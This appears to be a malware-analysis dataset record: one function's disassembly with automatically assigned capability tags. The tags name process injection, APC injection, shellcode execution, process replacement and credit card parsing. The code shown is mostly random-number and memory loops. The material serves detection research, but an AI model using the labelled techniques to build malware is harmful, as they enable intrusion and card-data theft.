Function at 0x4015ec
Capabilities:
Allocate or change rwx memory
Check for software breakpoints
Check http status code
Create process on windows
Create process suspended
Execute shellcode via indirect call
Inject apc
Link many functions at runtime
Parse credit card information
Parse pe header
Resume thread
Use process replacement

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
mov eax, 0x2448
call fcn.004222d0
sub esp, eax
call dbg.__main
mov dword [ebp - 0x1038], 0
mov dword [esp], 0x158
call sym._malloc
mov dword [ebp - 0x103c], eax
mov dword [ebp - 0x20], 0
jmp 0x4016ed
call sym._rand
mov ecx, eax
mov edx, 0x51eb851f
mov eax, ecx
imul edx
mov eax, edx
sar eax, 7
mov edx, ecx
sar edx, 0x1f
sub eax, edx
mov dword [ebp - 0x1038], eax
mov eax, dword [ebp - 0x1038]
imul eax, eax, 0x190
sub ecx, eax
mov edx, ecx
mov dword [ebp - 0x1038], edx
cmp dword [ebp - 0x1038], 0x168
jle 0x401692
mov eax, dword [ebp - 0x20]
lea edx, [eax*4]
mov eax, dword [ebp - 0x103c]
add eax, edx
fldz
fstp dword [eax]
jmp 0x4016e9
cmp dword [ebp - 0x1038], 0
jns 0x4016b3
mov eax, dword [ebp - 0x20]
lea edx, [eax*4]
mov eax, dword [ebp - 0x103c]
add eax, edx
fldz
fstp dword [eax]
jmp 0x4016e9
fild dword [ebp - 0x1038]
fld qword [0x42a250]
fmulp st(1)
fld qword [0x42a258]
fdivp st(1)
mov eax, dword [ebp - 0x20]
lea edx, [eax*4]
mov eax, dword [ebp - 0x103c]
add eax, edx
fstp dword [ebp - 0x2428]
fld dword [ebp - 0x2428]
fstp dword [eax]
add dword [ebp - 0x20], 1
cmp dword [ebp - 0x20], 0x55
jle 0x401636
mov eax, dword [ebp - 0x103c]
mov dword [esp], eax
call sym._free
mov dword [ebp - 0x1c], 0
jmp 0x40173c
call sym._rand
imul eax, eax, 0x79
mov dword [ebp - 0x2428], eax
fild dword [ebp - 0x2428]
fld qword [0x42a260]
fdivp st(1)
fstp qword [esp]
call dbg.log
fstp qword [ebp - 0x2218]
add dword [ebp - 0x1c], 1
cmp dword [ebp - 0x1c], 0x32
jle 0x40170e
mov dword [ebp - 0x1040], 0
mov dword [esp], 0x2d0
call sym._malloc
mov dword [ebp - 0x1044], eax
mov dword [esp], 0x2d0
call sym._malloc
mov dword [ebp - 0x1048], eax
mov dword [esp], 0x2d0
call sym._malloc
mov dword [ebp - 0x104c], eax
mov dword [ebp - 0x24], 0
jmp 0x40184a
mov dword [ebp - 0x28], 0
jmp 0x40183c
call sym._rand
mov ecx, eax
mov edx, 0x10624dd3
mov eax, ecx
imul edx
sar edx, 5
mov eax, ecx
sar eax, 0x1f
mov ebx, edx
sub ebx, eax
imul eax, ebx, 0x1f4
mov ebx, ecx
sub ebx, eax
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 3
add eax, edx
shl eax, 4
mov edx, eax
mov eax, dword [ebp - 0x1044]
add edx, eax
mov dword [ebp - 0x2428], ebx
fild dword [ebp - 0x2428]
mov eax, dword [ebp - 0x28]
fstp dword [edx + eax*4]
call sym._rand
mov ecx, eax
mov edx, 0x10624dd3
mov eax, ecx
imul edx
sar edx, 5
mov eax, ecx
sar eax, 0x1f
mov ebx, edx
sub ebx, eax
imul eax, ebx, 0x1f4
mov ebx, ecx
sub ebx, eax
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 3
add eax, edx
shl eax, 4
mov edx, eax
mov eax, dword [ebp - 0x1048]
add edx, eax
mov dword [ebp - 0x2428], ebx
fild dword [ebp - 0x2428]
mov eax, dword [ebp - 0x28]
fstp dword [edx + eax*4]
add dword [ebp - 0x28], 1
cmp dword [ebp - 0x28], 0x23
jle 0x40179a
add dword [ebp - 0x24], 1
cmp dword [ebp - 0x24], 4
jle 0x40178e
mov dword [ebp - 0x24], 0
jmp 0x4018e4
mov dword [ebp - 0x28], 0
jmp 0x4018da
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 3
add eax, edx
shl eax, 4
mov edx, eax
mov eax, dword [ebp - 0x1044]
add edx, eax
mov eax, dword [ebp - 0x28]
fld dword [edx + eax*4]
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 3
add eax, edx
shl eax, 4
mov edx, eax
mov eax, dword [ebp - 0x1048]
add edx, eax
mov eax, dword [ebp - 0x28]
fld dword [edx + eax*4]
fdivp st(1)
fstp qword [esp]
call dbg.sqrt
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 3
add eax, edx
shl eax, 4
mov edx, eax
mov eax, dword [ebp - 0x104c]
add edx, eax
fstp dword [ebp - 0x2428]
fld dword [ebp - 0x2428]
mov eax, dword [ebp - 0x28]
fstp dword [edx + eax*4]
add dword [ebp - 0x28], 1
cmp dword [ebp - 0x28], 0x23
jle 0x401869
add dword [ebp - 0x24], 1
cmp dword [ebp - 0x24], 4
jle 0x401860
mov eax, dword [ebp - 0x1044]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x1048]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x104c]
mov dword [esp], eax
call sym._free
mov dword [esp], 0xc0
call sym._malloc
mov dword [ebp - 0x1050], eax
mov dword [esp], 0xc0
call sym._malloc
mov dword [ebp - 0x1054], eax
mov dword [esp], 0xc0
call sym._malloc
mov dword [ebp - 0x1058], eax
mov dword [ebp - 0x2c], 0
jmp 0x401a0e
mov dword [ebp - 0x30], 0
jmp 0x401a00
call sym._rand
mov ecx, eax
mov edx, 0x51eb851f
mov eax, ecx
imul edx
sar edx, 5
mov eax, ecx
sar eax, 0x1f
mov ebx, edx
sub ebx, eax
imul eax, ebx, 0x64
mov ebx, ecx
sub ebx, eax
mov edx, dword [ebp - 0x2c]
mov eax, edx
add eax, eax
add eax, edx
shl eax, 2
mov edx, eax
mov eax, dword [ebp - 0x1050]
add edx, eax
mov dword [ebp - 0x2428], ebx
fild dword [ebp - 0x2428]
mov eax, dword [ebp - 0x30]
fstp dword [edx + eax*4]
call sym._rand
mov ecx, eax
mov edx, 0x51eb851f
mov eax, ecx
imul edx
sar edx, 5
mov eax, ecx
sar eax, 0x1f
mov ebx, edx
sub ebx, eax
imul eax, ebx, 0x64
mov ebx, ecx
sub ebx, eax
mov edx, dword [ebp - 0x2c]
mov eax, edx
add eax, eax
add eax, edx
shl eax, 2
mov edx, eax
mov eax, dword [ebp - 0x1054]
add edx, eax
mov dword [ebp - 0x2428], ebx
fild dword [ebp - 0x2428]
mov eax, dword [ebp - 0x30]
fstp dword [edx + eax*4]
add dword [ebp - 0x30], 1
cmp dword [ebp - 0x30], 2
jle 0x401966
add dword [ebp - 0x2c], 1
cmp dword [ebp - 0x2c], 0xf
jle 0x40195a
mov dword [ebp - 0x2c], 0
jmp 0x401a8e
mov dword [ebp - 0x30], 0
jmp 0x401a84
mov edx, dword [ebp - 0x2c]
mov eax, edx
add eax, eax
add eax, edx
shl eax, 2
mov edx, eax
mov eax, dword [ebp - 0x1050]
add edx, eax
mov eax, dword [ebp - 0x30]
fld dword [edx + eax*4]
mov edx, dword [ebp - 0x2c]
mov eax, edx
add eax, eax
add eax, edx
shl eax, 2
mov edx, eax
mov eax, dword [ebp - 0x1054]
add edx, eax
mov eax, dword [ebp - 0x30]
fld dword [edx + eax*4]
mov edx, dword [ebp - 0x2c]
mov eax, edx
add eax, eax
add eax, edx
shl eax, 2
mov edx, eax
mov eax, dword [ebp - 0x1058]
add edx, eax
faddp st(1)
mov eax, dword [ebp - 0x30]
fstp dword [edx + eax*4]
add dword [ebp - 0x30], 1
cmp dword [ebp - 0x30], 2
jle 0x401a2a
add dword [ebp - 0x2c], 1
cmp dword [ebp - 0x2c], 0xf
jle 0x401a21
mov eax, dword [ebp - 0x1050]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x1054]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x1058]
mov dword [esp], eax
call sym._free
fldz
fstp dword [ebp - 0x38]
mov dword [esp], 0x1c4
call sym._malloc
mov dword [ebp - 0x105c], eax
mov dword [ebp - 0x3c], 0
jmp 0x401b1d
call sym._rand
mov ecx, eax
mov eax, dword [ebp - 0x3c]
lea edx, [eax*4]
mov eax, dword [ebp - 0x105c]
lea ebx, [edx + eax]
mov edx, 0x68db8bad
mov eax, ecx
imul edx
mov eax, edx
sar eax, 0xc
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x2710
mov eax, ecx
sub eax, edx
mov dword [ebx], eax
add dword [ebp - 0x3c], 1
cmp dword [ebp - 0x3c], 0x70
jle 0x401ade
mov dword [ebp - 0x3c], 0
jmp 0x401bf7
mov dword [ebp - 0x220c], 0
jmp 0x401bdf
mov eax, dword [ebp - 0x3c]
lea edx, [eax*4]
mov eax, dword [ebp - 0x105c]
add eax, edx
mov edx, dword [eax]
mov eax, dword [ebp - 0x220c]
add eax, 1
lea ecx, [eax*4]
mov eax, dword [ebp - 0x105c]
add eax, ecx
mov eax, dword [eax]
cmp edx, eax
jle 0x401bdb
mov eax, dword [ebp - 0x220c]
lea edx, [eax*4]
mov eax, dword [ebp - 0x105c]
add eax, edx
mov eax, dword [eax]
mov dword [ebp - 0x2210], eax
mov eax, dword [ebp - 0x3c]
add eax, 1
lea edx, [eax*4]
mov eax, dword [ebp - 0x105c]
add eax, edx
mov edx, dword [ebp - 0x220c]
lea ecx, [edx*4]
mov edx, dword [ebp - 0x105c]
add edx, ecx
mov eax, dword [eax]
mov dword [edx], eax
mov eax, dword [ebp - 0x220c]
add eax, 1
lea edx, [eax*4]
mov eax, dword [ebp - 0x105c]
add edx, eax
mov eax, dword [ebp - 0x2210]
mov dword [edx], eax
add dword [ebp - 0x3c], 1
mov eax, 0x70
sub eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x220c], eax
jl 0x401b3e
add dword [ebp - 0x3c], 1
cmp dword [ebp - 0x3c], 0x70
jle 0x401b2f
mov eax, dword [ebp - 0x105c]
mov dword [esp], eax
call sym._free
mov dword [ebp - 0x34], 0
jmp 0x401c54
fild dword [ebp - 0x34]
fld1
faddp st(1)
fstp dword [ebp - 0x2428]
fld dword [ebp - 0x2428]
fstp dword [esp + 4]
fld1
fchs
fstp dword [esp]
call dbg.powf
fild dword [ebp - 0x34]
fld st(0)
faddp st(1)
fld1
fsubp st(1)
fdivp st(1)
fld dword [ebp - 0x38]
faddp st(1)
fstp dword [ebp - 0x38]
add dword [ebp - 0x34], 1
cmp dword [ebp - 0x34], 0x2b
jle 0x401c18
mov dword [esp], 0x280
call sym._malloc
mov dword [ebp - 0x1060], eax
mov dword [esp], 0x280
call sym._malloc
mov dword [ebp - 0x1064], eax
mov dword [esp], 0x280
call sym._malloc
mov dword [ebp - 0x1068], eax
mov dword [esp], 0x280
call sym._malloc
mov dword [ebp - 0x106c], eax
mov dword [ebp - 0x44], 0x9f
mov dword [ebp - 0x40], 0
jmp 0x401d2c
call sym._rand
mov ecx, eax
mov eax, dword [ebp - 0x40]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1060]
lea ebx, [edx + eax]
mov edx, 0x1b4e81b5
mov eax, ecx
imul edx
mov eax, edx
sar eax, 5
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x12c
mov eax, ecx
sub eax, edx
mov dword [ebx], eax
call sym._rand
mov ecx, eax
mov eax, dword [ebp - 0x40]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1064]
lea ebx, [edx + eax]
mov edx, 0x1b4e81b5
mov eax, ecx
imul edx
mov eax, edx
sar eax, 5
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x12c
mov eax, ecx
sub eax, edx
mov dword [ebx], eax
add dword [ebp - 0x40], 1
cmp dword [ebp - 0x40], 0x9f
jle 0x401cb2
mov dword [ebp - 0x40], 0
jmp 0x401d9a
mov eax, dword [ebp - 0x44]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1060]
add eax, edx
mov edx, dword [ebp - 0x40]
lea ecx, [edx*4]
mov edx, dword [ebp - 0x1068]
add edx, ecx
mov eax, dword [eax]
mov dword [edx], eax
mov eax, dword [ebp - 0x44]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1064]
add eax, edx
mov edx, dword [ebp - 0x40]
lea ecx, [edx*4]
mov edx, dword [ebp - 0x106c]
add edx, ecx
mov eax, dword [eax]
mov dword [edx], eax
sub dword [ebp - 0x44], 1
add dword [ebp - 0x40], 1
cmp dword [ebp - 0x40], 0x9f
jle 0x401d42
mov eax, dword [ebp - 0x1060]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x1064]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x1068]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x106c]
mov dword [esp], eax
call sym._free
mov dword [esp], 0x250
call sym._malloc
mov dword [ebp - 0x1070], eax
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x1074], 0
mov dword [ebp - 0x48], 0
jmp 0x401e44
call sym._rand
mov ecx, eax
mov eax, dword [ebp - 0x48]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1070]
lea ebx, [edx + eax]
mov edx, 0x88888889
mov eax, ecx
imul edx
lea eax, [edx + ecx]
sar eax, 4
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x1e
mov eax, ecx
sub eax, edx
mov dword [ebx], eax
add dword [ebp - 0x48], 1
cmp dword [ebp - 0x48], 0x93
jle 0x401e07
mov dword [ebp - 0x48], 0
jmp 0x401e71
mov eax, dword [ebp - 0x48]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1070]
add eax, edx
mov eax, dword [eax]
add dword [ebp - 0x4c], eax
add dword [ebp - 0x48], 1
cmp dword [ebp - 0x48], 0x93
jle 0x401e56
mov eax, dword [ebp - 0x1070]
mov dword [esp], eax
call sym._free
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x50], 0x9d
jmp 0x401ead
mov eax, dword [ebp - 0x50]
cdq
add dword [ebp - 0x58], eax
adc dword [ebp - 0x54], edx
sub dword [ebp - 0x50], 1
cmp dword [ebp - 0x50], 0
jg 0x401e9f
mov dword [esp], 0x4a0
call sym._malloc
mov dword [ebp - 0x1078], eax
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x107c], 0
mov dword [ebp - 0x5c], 0
jmp 0x401f1c
call sym._rand
mov ecx, eax
mov eax, dword [ebp - 0x5c]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1078]
lea ebx, [edx + eax]
mov edx, 0x88888889
mov eax, ecx
imul edx
lea eax, [edx + ecx]
sar eax, 4
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x1e
mov eax, ecx
sub eax, edx
mov dword [ebx], eax
add dword [ebp - 0x5c], 1
cmp dword [ebp - 0x5c], 0x127
jle 0x401edf
mov dword [ebp - 0x5c], 0
jmp 0x401f49
mov eax, dword [ebp - 0x5c]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1078]
add eax, edx
mov eax, dword [eax]
add dword [ebp - 0x60], eax
add dword [ebp - 0x5c], 1
cmp dword [ebp - 0x5c], 0x127
jle 0x401f2e
mov eax, dword [ebp - 0x1078]
mov dword [esp], eax
call sym._free
fld dword [ebp - 0x38]
fld dword [0x42a268]
fmulp st(1)
fstp dword [ebp - 0x38]
mov dword [esp], 0xdc
call sym._malloc
mov dword [ebp - 0x1080], eax
mov dword [ebp - 0x1084], 0
mov dword [esp], 0x7e0
call sym._malloc
mov dword [ebp - 0x1088], eax
mov dword [esp], 0x7e0
call sym._malloc
mov dword [ebp - 0x108c], eax
mov dword [esp], 0x7e0
call sym._malloc
mov dword [ebp - 0x1090], eax
mov dword [ebp - 0x68], 0
jmp 0x402070
mov dword [ebp - 0x6c], 0
jmp 0x402062
call sym._rand
mov ecx, eax
mov edx, 0x51eb851f
mov eax, ecx
imul edx
mov eax, edx
sar eax, 4
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x32
mov eax, ecx
sub eax, edx
mov edx, dword [ebp - 0x68]
imul ecx, edx, 0x70
mov edx, dword [ebp - 0x1088]
add edx, ecx
mov dword [ebp - 0x2428], eax
fild dword [ebp - 0x2428]
mov eax, dword [ebp - 0x6c]
fstp dword [edx + eax*4]
call sym._rand
mov ecx, eax
mov edx, 0x51eb851f
mov eax, ecx
imul edx
mov eax, edx
sar eax, 4
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x32
mov eax, ecx
sub eax, edx
mov edx, dword [ebp - 0x68]
imul ecx, edx, 0x70
mov edx, dword [ebp - 0x108c]
add edx, ecx
mov dword [ebp - 0x2428], eax
fild dword [ebp - 0x2428]
mov eax, dword [ebp - 0x6c]
fstp dword [edx + eax*4]
add dword [ebp - 0x6c], 1
cmp dword [ebp - 0x6c], 0x1b
jle 0x401fd8
add dword [ebp - 0x68], 1
cmp dword [ebp - 0x68], 0x11
jle 0x401fcc
mov dword [ebp - 0x68], 0
jmp 0x4020d8
mov dword [ebp - 0x6c], 0
jmp 0x4020ce
mov eax, dword [ebp - 0x68]
imul edx, eax, 0x70
mov eax, dword [ebp - 0x1088]
add edx, eax
mov eax, dword [ebp - 0x6c]
fld dword [edx + eax*4]
mov eax, dword [ebp - 0x68]
imul edx, eax, 0x70
mov eax, dword [ebp - 0x108c]
add edx, eax
mov eax, dword [ebp - 0x6c]
fld dword [edx + eax*4]
mov eax, dword [ebp - 0x68]
imul edx, eax, 0x70
mov eax, dword [ebp - 0x1090]
add edx, eax
fdivp st(1)
mov eax, dword [ebp - 0x6c]
fstp dword [edx + eax*4]
add dword [ebp - 0x6c], 1
cmp dword [ebp - 0x6c], 0x1b
jle 0x40208c
add dword [ebp - 0x68], 1
cmp dword [ebp - 0x68], 0x11
jle 0x402083
mov eax, dword [ebp - 0x1088]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x108c]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x1090]
mov dword [esp], eax
call sym._free
mov dword [ebp - 0x64], 0
jmp 0x4024b7
mov dword [esp], 0x98
call sym._malloc
mov dword [ebp - 0x21ec], eax
mov dword [ebp - 0x70], 0
jmp 0x4021b7
call sym._rand
mov ecx, eax
mov edx, 0x10624dd3
mov eax, ecx
imul edx
mov eax, edx
sar eax, 6
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x3e8
mov eax, ecx
sub eax, edx
mov dword [ebp - 0x2428], eax
fild dword [ebp - 0x2428]
fstp dword [ebp - 0x2428]
call sym._rand
mov ecx, eax
mov edx, 0x51eb851f
mov eax, ecx
imul edx
mov eax, edx
sar eax, 5
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x64
mov eax, ecx
sub eax, edx
mov dword [ebp - 0x2420], eax
fild dword [ebp - 0x2420]
mov eax, dword [ebp - 0x70]
lea edx, [eax*4]
mov eax, dword [ebp - 0x21ec]
add eax, edx
fdivr dword [ebp - 0x2428]
fstp dword [eax]
add dword [ebp - 0x70], 1
cmp dword [ebp - 0x70], 0x25
jle 0x402132
mov dword [ebp - 0x70], 0
jmp 0x402276
cmp dword [ebp - 0x70], 0
je 0x402206
mov eax, dword [ebp - 0x70]
add eax, 0x3fffffff
lea edx, [eax*4]
mov eax, dword [ebp - 0x21ec]
add eax, edx
fld dword [eax]
mov eax, dword [ebp - 0x70]
lea edx, [eax*4]
mov eax, dword [ebp - 0x21ec]
add eax, edx
fld dword [eax]
fcompi st(1)
fstp st(0)
jb 0x40220c
add dword [ebp - 0x70], 1
jmp 0x402276
mov eax, dword [ebp - 0x70]
add eax, 0x3fffffff
lea edx, [eax*4]
mov eax, dword [ebp - 0x21ec]
add eax, edx
fld dword [eax]
fstp dword [ebp - 0x2208]
mov eax, dword [ebp - 0x70]
lea edx, [eax*4]
mov eax, dword [ebp - 0x21ec]
add edx, eax
mov eax, dword [ebp - 0x70]
add eax, 0x3fffffff
lea ecx, [eax*4]
mov eax, dword [ebp - 0x21ec]
add eax, ecx
fld dword [edx]
fstp dword [eax]
mov eax, dword [ebp - 0x70]
lea edx, [eax*4]
mov eax, dword [ebp - 0x21ec]
add eax, edx
fld dword [ebp - 0x2208]
fstp dword [eax]
sub dword [ebp - 0x70], 1
cmp dword [ebp - 0x70], 0x25
jle 0x4021cd
mov eax, dword [ebp - 0x21ec]
mov dword [esp], eax
call sym._free
fld qword [0x42a270]
fstp qword [ebp - 0x78]
fld qword [0x42a278]
fstp qword [ebp - 0x21f8]
jmp 0x4022bd
fld qword [ebp - 0x21f8]
fstp qword [esp + 8]
fld qword [ebp - 0x78]
fstp qword [esp]
call dbg.pow
fstp qword [ebp - 0x78]
fld qword [ebp - 0x78]
fld qword [0x42a280]
fcompi st(1)
fstp st(0)
ja 0x4022a5
mov dword [esp], 0x2d0
call sym._malloc
mov dword [ebp - 0x21fc], eax
mov dword [esp], 0x2d0
call sym._malloc
mov dword [ebp - 0x2200], eax
mov dword [esp], 0x2d0
call sym._malloc
mov dword [ebp - 0x2204], eax
mov dword [ebp - 0x7c], 0
jmp 0x4023c8
mov dword [ebp - 0x80], 0
jmp 0x4023ba
call sym._rand
mov ecx, eax
mov edx, 0x10624dd3
mov eax, ecx
imul edx
sar edx, 6
mov eax, ecx
sar eax, 0x1f
mov ebx, edx
sub ebx, eax
imul eax, ebx, 0x3e8
mov ebx, ecx
sub ebx, eax
mov edx, dword [ebp - 0x7c]
mov eax, edx
add eax, eax
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x21fc]
add edx, eax
mov dword [ebp - 0x2428], ebx
fild dword [ebp - 0x2428]
mov eax, dword [ebp - 0x80]
fstp dword [edx + eax*4]
call sym._rand
mov ecx, eax
mov edx, 0x10624dd3
mov eax, ecx
imul edx
sar edx, 6
mov eax, ecx
sar eax, 0x1f
mov ebx, edx
sub ebx, eax
imul eax, ebx, 0x3e8
mov ebx, ecx
sub ebx, eax
mov edx, dword [ebp - 0x7c]
mov eax, edx
add eax, eax
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x2200]
add edx, eax
mov dword [ebp - 0x2428], ebx
fild dword [ebp - 0x2428]
mov eax, dword [ebp - 0x80]
fstp dword [edx + eax*4]
add dword [ebp - 0x80], 1
cmp dword [ebp - 0x80], 5
jle 0x40231a
add dword [ebp - 0x7c], 1
cmp dword [ebp - 0x7c], 0x1d
jle 0x40230e
mov dword [ebp - 0x7c], 0
jmp 0x402448
mov dword [ebp - 0x80], 0
jmp 0x40243e
mov edx, dword [ebp - 0x7c]
mov eax, edx
add eax, eax
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x21fc]
add edx, eax
mov eax, dword [ebp - 0x80]
fld dword [edx + eax*4]
mov edx, dword [ebp - 0x7c]
mov eax, edx
add eax, eax
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x2200]
add edx, eax
mov eax, dword [ebp - 0x80]
fld dword [edx + eax*4]
mov edx, dword [ebp - 0x7c]
mov eax, edx
add eax, eax
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x2204]
add edx, eax
fmulp st(1)
mov eax, dword [ebp - 0x80]
fstp dword [edx + eax*4]
add dword [ebp - 0x80], 1
cmp dword [ebp - 0x80], 5
jle 0x4023e4
add dword [ebp - 0x7c], 1
cmp dword [ebp - 0x7c], 0x1d
jle 0x4023db
mov eax, dword [ebp - 0x21fc]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x2200]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x2204]
mov dword [esp], eax
call sym._free
call sym._rand
mov ecx, eax
mov eax, dword [ebp - 0x64]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1080]
lea ebx, [edx + eax]
mov edx, 0x68db8bad
mov eax, ecx
imul edx
mov eax, edx
sar eax, 0xc
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x2710
mov eax, ecx
sub eax, edx
mov dword [ebx], eax
add dword [ebp - 0x64], 1
cmp dword [ebp - 0x64], 0x36
jle 0x402114
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x1094], 1
mov dword [esp], 0x300
call sym._malloc
mov dword [ebp - 0x1098], eax
mov dword [ebp - 0x88], 2
mov dword [ebp - 0x84], 0
jmp 0x402523
mov eax, dword [ebp - 0x88]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1098]
add eax, edx
mov dword [eax], 1
add dword [ebp - 0x88], 1
adc dword [ebp - 0x84], 0
mov edx, 0xbf
mov eax, 0
cmp edx, dword [ebp - 0x88]
sbb eax, dword [ebp - 0x84]
jae 0x4024fa
mov dword [ebp - 0x88], 2
mov dword [ebp - 0x84], 0
jmp 0x40260c
mov eax, dword [ebp - 0x88]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1098]
add eax, edx
mov eax, dword [eax]
test eax, eax
je 0x4025fe
mov eax, dword [ebp - 0x88]
mov edx, dword [ebp - 0x84]
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x8c], edx
jmp 0x4025bf
mov edx, dword [ebp - 0x88]
mov eax, dword [ebp - 0x90]
imul eax, edx
lea edx, [eax*4]
mov eax, dword [ebp - 0x1098]
add eax, edx
mov dword [eax], 0
add dword [ebp - 0x90], 1
adc dword [ebp - 0x8c], 0
mov eax, dword [ebp - 0x84]
imul eax, dword [ebp - 0x90]
mov edx, eax
mov eax, dword [ebp - 0x8c]
imul eax, dword [ebp - 0x88]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x90]
mul dword [ebp - 0x88]
add ecx, edx
mov edx, ecx
mov ebx, 0xbf
mov ecx, 0
cmp ebx, eax
sbb ecx, edx
jae 0x40258d
add dword [ebp - 0x88], 1
adc dword [ebp - 0x84], 0
mov edx, 0xbf
mov eax, 0
cmp edx, dword [ebp - 0x88]
sbb eax, dword [ebp - 0x84]
jae 0x402554
mov eax, dword [ebp - 0x1098]
mov dword [esp], eax
call sym._free
mov dword [ebp - 0x94], 0x28
jmp 0x402649
sub dword [ebp - 0x94], 1
cmp dword [ebp - 0x94], 0
jg 0x402642
jmp 0x402d5c
mov dword [ebp - 0x98], 0xffffffff
mov dword [esp], 0xd10
call sym._malloc
mov dword [ebp - 0x21ac], eax
add dword [ebp - 0x98], 1
call sym._rand
mov dword [ebp - 0x2428], eax
fild dword [ebp - 0x2428]
fld qword [0x42a260]
fdivp st(1)
fld st(0)
faddp st(1)
mov eax, dword [ebp - 0x98]
lea edx, [eax*8]
mov eax, dword [ebp - 0x21ac]
add eax, edx
fld1
fsubp st(1)
fstp qword [eax]
mov eax, dword [ebp - 0x98]
lea edx, [eax*8]
mov eax, dword [ebp - 0x21ac]
add eax, edx
fld qword [eax]
mov eax, dword [ebp - 0x98]
lea edx, [eax*8]
mov eax, dword [ebp - 0x21ac]
add eax, edx
fabs
fstp qword [eax]
cmp dword [ebp - 0x98], 0x1a0
jle 0x402673
mov dword [esp], 0x5ec
call sym._malloc
mov dword [ebp - 0x21b0], eax
mov dword [esp], 0x5ec
call sym._malloc
mov dword [ebp - 0x21b4], eax
mov dword [ebp - 0xa0], 0x17a
mov dword [ebp - 0x9c], 0
jmp 0x40276d
call sym._rand
mov ecx, eax
mov eax, dword [ebp - 0x9c]
lea edx, [eax*4]
mov eax, dword [ebp - 0x21b0]
lea ebx, [edx + eax]
mov edx, 0x1b4e81b5
mov eax, ecx
imul edx
mov eax, edx
sar eax, 5
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x12c
mov eax, ecx
sub eax, edx
mov dword [ebx], eax
add dword [ebp - 0x9c], 1
cmp dword [ebp - 0x9c], 0x17a
jle 0x402728
mov dword [ebp - 0x9c], 0
jmp 0x4027c1
mov eax, dword [ebp - 0xa0]
lea edx, [eax*4]
mov eax, dword [ebp - 0x21b0]
add eax, edx
mov edx, dword [ebp - 0x9c]
lea ecx, [edx*4]
mov edx, dword [ebp - 0x21b4]
add edx, ecx
mov eax, dword [eax]
mov dword [edx], eax
sub dword [ebp - 0xa0], 1
add dword [ebp - 0x9c], 1
cmp dword [ebp - 0x9c], 0x17a
jle 0x402785
mov eax, dword [ebp - 0x21b0]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x21b4]
mov dword [esp], eax
call sym._free
mov dword [ebp - 0xa4], 0xffffffff
add dword [ebp - 0xa4], 1
call sym._rand
mov ecx, eax
mov edx, 0x66666667
mov eax, ecx
imul edx
mov eax, edx
sar eax, 3
mov edx, ecx
sar edx, 0x1f
sub eax, edx
mov dword [ebp - 0x21b8], eax
mov edx, dword [ebp - 0x21b8]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 2
sub ecx, eax
mov edx, ecx
mov dword [ebp - 0x21b8], edx
call sym._rand
mov dword [ebp - 0x2428], eax
fild dword [ebp - 0x2428]
fld qword [0x42a260]
fdivp st(1)
mov eax, dword [ebp - 0x21b8]
mov dword [esp + 8], eax
fstp qword [esp]
call dbg.ldexp
fstp qword [ebp - 0x21c0]
cmp dword [ebp - 0xa4], 0x1b6
jle 0x4027f3
cmp dword [ebp - 0x64], 0
je 0x4028ae
mov eax, dword [ebp - 0x64]
add eax, 0x3fffffff
lea edx, [eax*4]
mov eax, dword [ebp - 0x1080]
add eax, edx
mov edx, dword [eax]
mov eax, dword [ebp - 0x64]
lea ecx, [eax*4]
mov eax, dword [ebp - 0x1080]
add eax, ecx
mov eax, dword [eax]
cmp edx, eax
jg 0x402b92
add dword [ebp - 0x64], 1
